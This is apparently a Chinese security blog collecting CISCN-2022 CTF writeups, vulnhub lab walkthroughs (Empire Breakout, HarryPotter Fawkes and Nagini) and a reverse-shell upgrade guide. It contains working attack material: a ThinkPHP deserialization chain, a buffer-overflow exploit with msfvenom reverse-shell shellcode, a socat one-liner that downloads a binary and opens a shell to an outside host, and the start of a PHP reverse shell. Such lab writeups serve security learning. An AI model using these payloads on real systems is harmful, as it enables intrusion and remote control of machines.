CISCN-2022 | partly Writeup

MISC

问卷调查

填写问卷即可。

ez_usb

筛选usb.src == "2.8.1"提取键盘流量

image.png

导出,然后处理流量包,

tshark -r test.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

利用脚本添加冒号:

#!/usr/bin/env python
#-*- coding: utf-8 -*-
info = '''
kali下运行:
tshark -r usb.pcap -T fields -e usb.capdata > usbdata.txt
提取流量包信息
然后通过该脚本可以过滤掉空格和其他内容,并且添加冒号
'''
print(info)

f_data  = input("请输入带处理txt文件的路径:")
shujian = int(input("鼠标流量信息请输入8,键盘流量请输入16:"))
f = open(f_data,'r')

# 整理到out.txt
with open('out.txt','w') as f_out:
    for i in f.readlines():
        s = i.strip()
        # 鼠标流量长度为8 ,键盘流量长度为16
        if len(s) == shujian:
            # 鼠标流量长度为8 ,键盘流量长度为16
            nsl = [s[j:j+2] for j in range(0,shujian,2)]
            ns = ":".join(nsl)
            f_out.write(ns)
            f_out.write('\n') 

然后对添加冒号的txt进行处理:

#!/usr/bin/env python
#-*- coding: utf-8 -*-
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('out.txt') #这里是加号冒号的数据
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))

得到压缩包,需要密码。

然后同理提取usb.src == "2.10.1"

脚本同上,获得密码:35c535765e50074a

解压得到flag

image.png

everylasting_night

用stegsolve打开,并在a2通道发现隐写痕迹(因为图中观察为竖着,所以选column)

根据题目提示lsb,用cloacked-pixel工具,

python2 lsb.py extract everlasting_night.png 1.txt

f78dcd383f1b574b

得到504b0304开头,利用hex编辑器

是一个加密的压缩包

Hex编辑器打开图片,文件尾发现字符串

FB 3E FC E4 CE AC 2F 54 45 C7 AE 17 E3 E9
69 AB

md5解密得到

即为压缩包密码,解压

将得到的文件,用hex编辑器打开,得到

删除文件头,并将文件另存为1.data,再放到gimp里看看

调整宽度,得到flag

babydisk

vmdk文件,用取证大师取出来一个音频wav和一个加密文件

LA25ARQGRJMYGN4JBZV.png

wav是deepsound隐写,但是有加密,用john爆破

#!/usr/bin/env python3
'''
deepsound2john extracts password hashes from audio files containing encrypted
data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).
This method is known to work with files created by DeepSound 2.0.
Input files should be in .wav format. Hashes can be recovered from audio files
even after conversion from other formats, e.g.,
    ffmpeg -i input output.wav
Usage:
    python3 deepsound2john.py carrier.wav > hashes.txt
    john hashes.txt
This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and
it is hereby released to the general public under the following terms:
Redistribution and use in source and binary forms, with or without
modification, are permitted.
'''

import logging
import os
import sys
import textwrap

def decode_data_low(buf):
  return buf[::2]

def decode_data_normal(buf):
  out = bytearray()
  for i in range(0, len(buf), 4):
    out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
  return out

def decode_data_high(buf):
  out = bytearray()
  for i in range(0, len(buf), 8):
    out.append((buf[i] & 3) << 6     | (buf[i + 2] & 3) << 4 \
             | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
  return out

def is_magic(buf):
  # This is a more efficient way of testing for the `DSCF` magic header without
  # decoding the whole buffer
  return (buf[0] & 15)  == (68 >> 4) and (buf[2]  & 15) == (68 & 15) \
     and (buf[4] & 15)  == (83 >> 4) and (buf[6]  & 15) == (83 & 15) \
     and (buf[8] & 15)  == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
     and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)

def is_wave(buf):
  return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'

def process_deepsound_file(f):
  bname = os.path.basename(f.name)
  logger = logging.getLogger(bname)

  # Check if it's a .wav file
  buf = f.read(12)
  if not is_wave(buf):
    global convert_warn
    logger.error('file not in .wav format')
    convert_warn = True
    return
  f.seek(0, os.SEEK_SET)

  # Scan for the marker...
  hdrsz = 104
  hdr = None

  while True:
    off = f.tell()
    buf = f.read(hdrsz)
    if len(buf) < hdrsz: break

    if is_magic(buf):
          hdr = decode_data_normal(buf)
          logger.info('found DeepSound header at offset %i', off)
          break

    f.seek(-hdrsz + 1, os.SEEK_CUR)

  if hdr is None:
    logger.warn('does not appear to be a DeepSound file')
    return

  # Check some header fields
  mode = hdr[4]
  encrypted = hdr[5]

  modes = {2: 'low', 4: 'normal', 8: 'high'}
  if mode in modes:
    logger.info('data is encoded in %s-quality mode', modes[mode])
  else:
    logger.error('unexpected data encoding mode %i', modes[mode])
    return

  if encrypted == 0:
    logger.warn('file is not encrypted')
    return
  elif encrypted != 1:
    logger.error('unexpected encryption flag %i', encrypted)
    return

  sha1 = hdr[6:6+20]
  print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))

if __name__ == '__main__':
  import argparse

  parser = argparse.ArgumentParser()
  parser.add_argument('--verbose', '-v', action='store_true')
  parser.add_argument('files', nargs='+', metavar='file',
    type=argparse.FileType('rb', bufsize=4096))
  args = parser.parse_args()

  if args.verbose:
    logging.basicConfig(level=logging.INFO)
  else:
    logging.basicConfig(level=logging.WARN)

  convert_warn = False

  for f in args.files:
    process_deepsound_file(f)

  if convert_warn:
    print(textwrap.dedent('''
    ---------------------------------------------------------------
    Some files were not in .wav format. Try converting them to .wav
    and try again. You can use: ffmpeg -i input output.wav
    ---------------------------------------------------------------
    '''.rstrip()), file=sys.stderr)
python3 deepsound2john.py 1.wav > flag.txt

RJYITBQXQNBH19.png

deepsound提取出1Z13YWXKHRRWU8WHDFB3.png

加密文件可以Veracrypt挂载,密码就是key.txt文件,有一个spiral.zip,但是中间16进制倒了,需要旋转。

旋转脚本

def generateMatrix(n):
    nums = [[0] * n for _ in range(n)]
    startx, starty = 0, 0               # 起始点
    loop, mid = n // 2, n // 2          # 迭代次数、n为奇数时,矩阵的中心点
    count = 1                           # 计数

    for offset in range(1, loop + 1) :      # 每循环一层偏移量加1,偏移量从1开始
        for i in range(starty, n - offset) :    # 从左至右,左闭右开
            nums[startx][i] = count
            count += 1
        for i in range(startx, n - offset) :    # 从上至下
            nums[i][n - offset] = count
            count += 1
        for i in range(n - offset, starty, -1) : # 从右至左
            nums[n - offset][i] = count
            count += 1
        for i in range(n - offset, startx, -1) : # 从下至上
            nums[i][starty] = count
            count += 1              
        startx += 1         # 更新起始点
        starty += 1

    if n % 2 != 0 : # n为奇数时,填充中心点
        nums[mid][mid] = count 
    return nums

array1 = [0]*7569
fr = open('spiral','rb').read()
s = sum(generateMatrix(87), [])

for i in range(len(s)):
    array1[i] = fr[s[i]-1]

fw = open('flag.zip','wb')
for i in array1:
    fw.write(bytes([i]))

fw.close()

image.png

image.png

长度49 七位一行读即可

ohhhhhhflag{701fa9fe-63f5-410b-93d4-119f96965be6}

CRYPTO

签到电台

image.png

image.png

按照密码提示,取前7*4位进行模十运算,然后S启动发包就有flag。

ISO9798

第一步常规的加延爆破,

a="ndEKcvMvOxibu075"
encode1="2f569d4264c5446cd0e4538fd6d3d949ec1c9949b155713dea3d455b4af469af"
str=string.ascii_letters+string.digits
for i1 in str:
    for i2 in str:
        for i3 in str:
            for i4 in str:
                plain=i1+i2+i3+i4+a
                encode=hashlib.sha256(plain.encode()).hexdigest()
                if encode==encode1:
                    print(plain)

取前四位输进去,之后让发送一个16进制的128比特位的随机数,不要带着0x

E0R9OYTNTUO0S7CPAN0.png

给了96位的16进制数

看到(rA||rB||B),96位数平均分成了三部分,之后把第二部分和第一部分组合在一起输入就出

基于挑战码的双向认证一、二、三

非预期:

前两个直接ssh连接,find / -name flag*,一个在flag1.txt,一个在flag2.txt

第三个修复了,但是有弱口令,root toor ,还是在flag2.txt

WEB

EZpop

西湖论剑原题

www.zip有源码泄露

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
    public function test()
    {
    unserialize($_POST['a']);
    }

}

有反序列化,有链子直接打:

<?php

namespace think {

    use think\route\Url;

    abstract class Model
    {
        private $lazySave;
        private $exists;
        protected $withEvent;
        protected $table;
        private $data;
        private $force;
        public function __construct()
        {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = new Url();
            $this->force = true;
            $this->data = ["1"];
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        function __construct()
        {
            parent::__construct();
        }
    }
    $b = new Pivot();
    echo urlencode(serialize($b));
}

namespace think\route {

    use think\Middleware;
    use think\Validate;

    class Url
    {
        protected $url;
        protected $domain;
        protected $app;
        protected $route;
        public function __construct()
        {
            $this->url = 'a:';
            $this->domain = "<?php system('cat /flag.txt');?>";
            $this->app = new Middleware();
            $this->route = new Validate();
        }
    }
}

namespace think {

    use think\view\driver\Php;

    class Validate
    {
        public function __construct()
        {
            $this->type['getDomainBind'] = [new Php(), 'display'];
        }
    }
    class Middleware
    {
        public function __construct()
        {
            $this->request = "80";
        }
    }
}

namespace think\view\driver {
    class Php
    {
        public function __construct()
        {
        }
    }
}

image.png

REVERSE

baby_tree

题目给出了一个 swift ast文件。

p.s:原来从来没见过这种类型的逆向。

非常有趣,一开始蒙蔽了

思路类似于python 给出opcode字节码。鄙人不才采用手撕的办法得到源码

image-20220529134135336

这里定义了check函数。定义了两个变量 encode keyvalue

函数内定义了两个字符数组,b k 分别为 encode,keyvalue的值

image-20220529134521297

image-20220529134531104

数据来源在下方代码中有定义,这样就能推出如下部分源码

def check(encoded,keyValue):
    b= bytearray(encoded.encode('utf8'))
    k= bytearray(encoded.encode('utf8'))

image-20220529141356512

image-20220529141501662

结合着两处可以推出

 b[i + 1] = r3 ^ ((k[1] + (r0 >> 2)) & 0xff)

同理,我们恢复到

 for i in range(len(b)-4+1):
        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
        b[i+0]=r2^((k[0]+(r0>>4))&0xff)
        b[i + 1] = r3 ^ ((k[1] + (r0 >> 2)) & 0xff)
        b[i + 2] = r0 ^ k[2]
        b[i + 3] = r1 ^ k[3]

根据下述两张图片,反写出

 k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]

image-20220529141724265

image-20220529141733405

encode数据

image-20220529134826403

keyvalue

image-20220529134855986

最终得到大致加密源码如下

def check(encoded, keyValue):
    b = bytearray(encoded.encode('utf8'))
    k = bytearray(keyValue.encode('utf8'))
    for i in range(len(b)-4+1):
        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
        b[i+0]=r2^((k[0]+(r0>>4))&0xff)
        b[i + 1] = r3 ^ ((k[1] + (r0 >> 2)) & 0xff)
        b[i + 2] = r0 ^ k[2]
        b[i + 3] = r1 ^ k[3]
        k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]
    return b ==bytes[flag加密后数据]
check(flag,'345y')

根据加密源码写脚本解密即可得到flag

PWN

login-nomal

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
context.log_level='debug'
# shellcode = "mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi  push rsi  push 8 pop rsi add rsi, rsp push rsi  mov rsi, rsp xor edx, edx push SYS_execve  pop rax syscall"
shellcode = '''Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'''

p = remote('101.201.123.35',21476)

p.recvuntil('>>> ')
payload1 = 'opt:1\nmsg:ro0ta\n\r\n'
p.sendline(payload1)
p.recvuntil('>>> ')
payload2 = 'opt:2\nmsg:{0}A\n\r\n'.format(shellcode)

p.sendline(payload2)

p.interactive()

EMPIRE:BREAKOUT

跟前面的靶机相比这篇太简单了,但它是个系列,从第一篇开始吧。

靶机描述

This box was created to be an Easy box, but it can be Medium if you get lost.

For hints discord Server ( https://discord.gg/7asvAhCEhe )

这个盒子是一个简单的盒子,但如果你迷路了,它就变成中等的了。

信息搜集

目标确认

攻击机Kali IP:192.168.93.131

靶机 IP:192.168.93.140

image.png

开放 80 & 139 & 445 & 10000 & 20000端口

image.png

目录扫描:

image.png

image.png

这个地方可以看到Apache版本是2.4,记一下,说不定会用到。

回到主页,发现有提示:

image.png

应该是Brainfuck,解密一下:

.2uqPEfj3D<P'a-3

image.png

10000端口和20000端口都是一个登录界面:

image.png

漏洞利用

10000端口和2000端口的面板其实并不一样,尝试登录20000端口的面板;

在nmap的扫描结果中可以看到安装了Samba 4.6.2版本,所以用 enum4linux 扫描一下 SMB 服务器中的用户:

image.png

  • Username:cyber
  • Password:.2uqPEfj3D<P'a-3

登陆以后,在左下角可以看到终端操作,利用这个我们可以尝试弹shell到kali上:

image.pngimage.png

在当前目录下,可以看到user.txt,找到了第一个flag

image.png

3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

提权

在当前目录下可以看到有一个tar文件,利用命令查看相关属性:

file tar  #查看文件类型
getcap tar #查看和设置程序文件的 capabilities 属性

image.png

cap_dac_read_search=ep功能。可以读取文件。

/var/backups/目录下可以看到备份文件.old_pass.bak,cat的话权限不够,这个地方就用到了上面的tar命令,用法可以--help

image.png

image.png

找到密码,切换root用户 & 升级shell

image.png

HARRYPOTTER:FAWKES

  • 哈利波特靶机三部曲终于刷完了~~这个靶机花了我好长时间,基本都在研究栈溢出上了。。。

靶机描述

Fawkes is the 3rd VM of 3-box HarryPotter VM series in which you need to find the last 3 horcruxes hidden inside the machine and defeat Voldemort.

Fawkes 是 3 盒 HarryPotter VM 系列的第三款 VM,您需要在其中找到隐藏在机器内的最后 3 个魂器并击败 Voldemort。

信息搜集

目标确认

攻击机kali IP:192.168.93.131

靶机Debian IP:192.168.93.139

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开放了 21 & 22 & 80 & 2222 & 9898

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路径扫描也没有什么很有用的信息

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21端口允许匿名登陆,ssh开放了两个端口,有一个是9898端口。

随后进入ftp看一下server_hogwarts

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很有可能这个文件就是一个突破点

缓冲区溢出

原来WEB的尽头是pwn吗?悟了。

使用edb调试server_hogwarts

nc 192.168.93.139 9898

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输入500个A,edb弹出错误框,地址0x41414141无法执行,A的16进制就是0x41

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可看到eip寄存器还有esp寄存器被覆盖了,说明存在缓冲区溢出:

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利用msf生成自带字母

┌──(root💀kali)-[/home/kali/桌面]
└─# msf-pattern_create -l 500             
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

将此结果再次输入,得到覆盖地址为64413764

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msf-pattern_offset -l 500 -q 64413764,查询偏移位置为112,即第113开始的字符将会写进eip寄存器

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EXP编写

import socket

if __name__ == '__main__':
    junk = b'A' * 112
    eip = b'B' * 4 + b'C' * 10
    s = socket.socket()
    s.connect(('127.0.0.1', 9898))
    s.send(bytes(junk + eip))

eip的值等于4个B+10个C,如果运行上面的脚本,eip是4个B即16进制为0x424242,那就是对的。
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并且esp被覆盖了10个C,现在的思路是要让eip的值指向esp,然后esp的内容是shellcode,这样就能任意执行我们的代码了。

edb自带查找功能,点击Plugins->OpcodeSearcher->Opcode Search,选择ESP->EIP,搜索server,Permissions要选择带x,可执行权限的。

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找到了两个,有jmp esp,这里就确定用0x08049d55地址

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生成shellcode,

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.93.131 LPORT=4444 -b "\x00" -f py

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最终的POC

#!/usr/bin/python3

import socket

buf =  b""
buf += b"\xba\xd7\xd0\x3c\xc7\xd9\xee\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x55\x12\x03\x55\x12\x83\x12\xd4\xde"
buf += b"\x32\xad\x0e\xe9\x5e\x9e\xf3\x45\xcb\x22\x7d\x88\xbb"
buf += b"\x44\xb0\xcb\x2f\xd1\xfa\xf3\x82\x61\xb3\x72\xe4\x09"
buf += b"\x84\x2d\x4b\x4a\x6c\x2c\x74\x5d\x31\xb9\x95\xed\xaf"
buf += b"\xe9\x04\x5e\x83\x09\x2e\x81\x2e\x8d\x62\x29\xdf\xa1"
buf += b"\xf1\xc1\x77\x91\xda\x73\xe1\x64\xc7\x21\xa2\xff\xe9"
buf += b"\x75\x4f\xcd\x6a"

# 0x08049d55
# Since, intel uses little endian, we have to use it from backwards
addr = b'\x55\x9d\x04\x08'

shellcode = b'\x41' * 112 + addr + b'\x90' * 32 + buf;

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.93.139', 9898))
s.send((shellcode))
s.close()

一个命令行监听4444端口,一个在执行脚本./payload.py

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发现.mycreds.txt,尝试ssh连接

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提权

sudo /bin/su

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可执行root权限,从这里我们可以直接cat到第一个魂器

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接下来,看一下人家给咱们的提示note.txt

2b1599256ca6:~# cat note.txt
Hello Admin!!

We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.

我们发现有人试图错误地登录我们的 ftp 服务器。请您分析流量并找出

刚学到的流量提取命令

tcpdump port ftp or ftp-data
tcpdump -i eth0 port 21 

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  • USER:neville
  • PASS:bL!Bsg3k

ssh再连接这个neville用户,可以找到第二个魂器:

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最终提权

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正如我们看到的,靶机的sudo版本是1.8.27。版本比较低,有一个CVE-2021-3156:Sudo中基于堆的缓冲区溢出 (Baron Samedit),影响范围1.8.2--1.8.31p2所有旧版本的sudo程序,任何未经授权的用户都可以使用默认sudo配置在易受攻击的主机上获得root权限。

参考资料:

我们可以利用这个exploit_nss.py来提权,但是会报错,是没有确定sudo的路径,

neville@Fawkes:~$ which sudo
/usr/local/bin/sudo

然后修改这个路径,保存后靶机scp下载脚本,执行即可

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完结撒花!!!

写在后面

《HARRYPOTTER:FAWKES》是我目前做过难度最高的一台靶机,有些思路也是我第一次遇到。我个人是学web和misc的,之前从来没接触过二进制安全,这次栈溢出的寸步难行更是提醒自己要往其他方向学习了,可能这也是趋势吧~

Linux 反向 shell 升级为完全可用的 TTY shell

前言

最近一周在打靶机,要弹shell,为了shell更加美观且易于操作,就浅浅写一下~

升级远程shell(仅限于Unix机器)

通常,在通过 nc 捕获 shell 之后,会在一个功能非常有限的 shell 中。例如没有命令历史记录(并使用“向上”和“向下”箭头循环浏览它们)和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。

注意 :要检查 shell 是否是 TTY shell,请使用 tty 命令。

rlwrap

可以通过使用 rlwrap 命令包装 nc 侦听器来减轻对 shell 的一些限制。默认情况下不会安装它,需要使用 sudo apt rlwrapapt-get install rlwrap 安装。

rlwrap nc -lvnp $port

使用python升级到完全交互式shell

  1. 连接到shell以后,先检查一下python的可用性,可以用which命令:

    which python python2 python3

只要安装了其中任何一个,就将返回已安装二进制文件的路径。

  1. 在shell中输入命令

    python3 -c 'import pty;pty.spawn("/bin/bash")';
  2. 接下来,在靶机上输入以下命令来设置一些重要的环境变量:

    export SHELL=bash
    export TERM=xterm-256color #允许 clear,并且有颜色
  3. ctrl+z将shell发送到后台

  4. 设置 shell 以通过反向 shell 发送控制字符和其他原始输入。使用stty命令来执行此操作:

    stty raw -echo;fg

回车一次后输入 reset 再回车将再次进入 shell 中,TTY shell升级完毕

其他语言写入交互式 shell:

echo os.system('/bin/bash')
/bin/sh -i

#python3
python3 -c 'import pty; pty.spawn("/bin/sh")'

#perl
perl -e 'exec "/bin/sh";'

#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'

#lua
lua -e "os.execute('/bin/sh')"

使用 socat

另一种方法是将 socat 二进制文件上传到靶机并获得一个完全交互式的 shell。从 https://github.com/andrew-d/static-binaries 下载适当的二进制文件。Socat 需要在两台机器上才能工作。

#在本地监听::
socat file:`tty`,raw,echo=0 tcp-listen:4444

#靶机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果在命令注入的地方注入反弹 shell,获得即时完全交互式的反向 shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果靶机访问不了互联网,就先把 socat 文件下载下来,开启 http 服务,然后将上面的路径指向你的本地地址。

也可以走scp下载这条路。

HARRYPOTTER : NAGINI

靶机描述

Nagini is the 2nd VM of 3-box HarryPotter VM series in which you need to find 3 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Nagini 是 3 盒 HarryPotter VM 系列的第二个 VM,您需要在其中找到隐藏在机器内的 3 个魂器(哈利波特系列的 3 个 VM 中总共隐藏了 8 个魂器)并最终击败 Voldemort。

信息搜集

目标确认

攻击机Kali IP:192.168.93.131

靶机 IP:192.168.93.137

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开放了22端口 & 80端口

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源码没什么问题,去扫一下目录:

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发现 /note.txt/joomla,目录 /joomla 应该是安装了 Joomla CMS,先看下 /note.txt

Hello developers!!

I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.

Regards,
site_amdin

开发人员您好!!

我将使用我们 https://quic.nagini.hogwarts 的新HTTP3服务器进行进一步的通信。
请所有开发人员定期访问服务器以检查最新公告。

问候
site_amdin

HTTP2 是以 HTTP 为基础并改动一些规则的产物。HTTP3 也是如此。换句话说,解释清楚现状后,我就可以很容易地讲明白未来是什么样子的。

HTTP3 的主要改进在传输层上。传输层不会再有我前面提到的那些繁重的 TCP 连接了。现在,一切都会走 UDP。

顺便说一下,QUIC 的意思是“快速 UDP Internet 连接”。协议的这种更改将显著加快连接建立和数据传输的速度。然而,虽说 UDP 肯定更快、更简单,但它不具备 TCP 的可靠性和错误处理能力。

TCP 必须进行多次往返,才能以方形且稳定的方式建立连接。UDP 不会顾虑那么多,而且它确实可以快速运行,代价是稳定性下降和丢包的风险。但是,UDP 能大大减少请求中的延迟。到同一服务器的重复连接的延迟几乎为零,因为不需要往返来建立连接。

image.png

HTTP3 是 HTTP2 的复用和压缩,协议从 TCP 更改为 UDP。然后,谷歌的那些人在协议中添加了他们做的层,以确保稳定性、数据包接收顺序及安全性。

需要搭建 quiche。在本地 kali 上搭建一下:

搭建的过程中用到 rust 的 cargo 命令,另外在cargo build --examples 命令使用前先装上cmake。

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漏洞利用

cd quiche/target/debug/examples
 ./http3-client https://192.168.93.137
<html>
        <head>
        <title>Information Page</title>
        </head>
        <body>
                Greetings Developers!!

                I am having two announcements that I need to share with you:

                1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week.
                2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readable by every one.

                Regards,
                site_admin
        </body>
</html>

开发人员您好!!

我有两个公告需要与您分享:

  1. 我们不再需要主要生产服务器中的 /internalResourceFeTcher.php 中的功能。所以我将在本周之前删除相同的功能。
  2. 请所有开发者不要将任何配置的备份文件(.bak)放在主生产服务器中,因为每个人都可以读取它们。

问候
site_amdin

提到了两个目标.bak/internalResourceFeTcher.php

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后面加上了?url,可能是SQL注入,也可能是SSRF,我更偏向于后面那个:

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好的SSRF。

前面有说.bak文件,不是当前页面的备份文件,应该是在Joomla CMS,可以用joomscan扫描一下:

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有后台登陆页面。

configuration.php.bak看见

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有数据库用户名,但是没有密码,user = 'goblin'

可以用Gopherus进行SSRF攻击:

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发现数据库名称joomla,接着看一下表名:

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查看 joomla_users 表内的数据:

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site_admin@nagini.hogwarts 是个邮箱,用户名应该是 site_admin ,不过密码被加密,也不好解,那就尝试更改密码,首先生成自己密码的 md5:

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e10adc3949ba59abbe56e057f20f883e

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更改完成,尝试登陆:

  • 用户名:site_admin
  • 密码:123456

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登陆成功,然后想办法写入shell,有点像之前GKCTF那道禅知CMS的题目:

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创建一个shell.php,用kali自带反弹shell的payload.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
